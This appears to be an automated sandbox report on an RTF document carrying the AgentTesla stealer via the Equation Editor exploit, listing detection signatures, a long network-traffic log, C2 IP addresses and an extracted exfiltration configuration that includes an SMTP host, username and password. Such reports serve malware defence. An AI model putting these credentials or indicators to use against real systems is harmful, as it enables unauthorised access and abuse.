Windows Analysis Report
2FBexXRCHR.rtf

Overview

General Information

Sample name: 2FBexXRCHR.rtf
renamed because original name is a hash value
Original sample name: 02e73ef6a6bde5caa7628ee916111f60.rtf
Analysis ID: 1482785
MD5: 02e73ef6a6bde5caa7628ee916111f60
SHA1: 85fcd05b810401dffc45b6c2cb831787a8a131d3
SHA256: a74f7219f672e155f20c501b9285630b07e70922c058fa3713c29012b8cbdb8c
Tags: rtf
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected AgentTesla
.NET source code contains potential unpacker
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Equation Editor Network Connection
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Suspicious Outbound SMTP Connections
Stores large binary data to the registry
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Agent Tesla, AgentTesla A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
 https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 2FBexXRCHR.rtf Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Roaming\winiti.exe Avira: detection malicious, Label: HEUR/AGEN.1308749
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\winiti[1].exe Avira: detection malicious, Label: HEUR/AGEN.1308749
Found malware configuration
Source: 6.2.winiti.exe.400000.0.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "25", "Host": "smtp.jlahuachem.com", "Username": "hunk.zhang@jlahuachem.com", "Password": "eGbB!FT9"}
Multi AV Scanner detection for submitted file
Source: 2FBexXRCHR.rtf Virustotal: Detection: 52% Perma Link
Source: 2FBexXRCHR.rtf ReversingLabs: Detection: 47%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\winiti.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\winiti[1].exe Joe Sandbox ML: detected

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 198.46.174.139 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.22:49164 version: TLS 1.2

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: api.ipify.org
Source: global traffic DNS query: name: api.ipify.org
Source: global traffic DNS query: name: smtp.jlahuachem.com
Source: global traffic DNS query: name: smtp.jlahuachem.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 172.67.74.152:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
Source: global traffic TCP traffic: 198.46.174.139:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 198.46.174.139:80
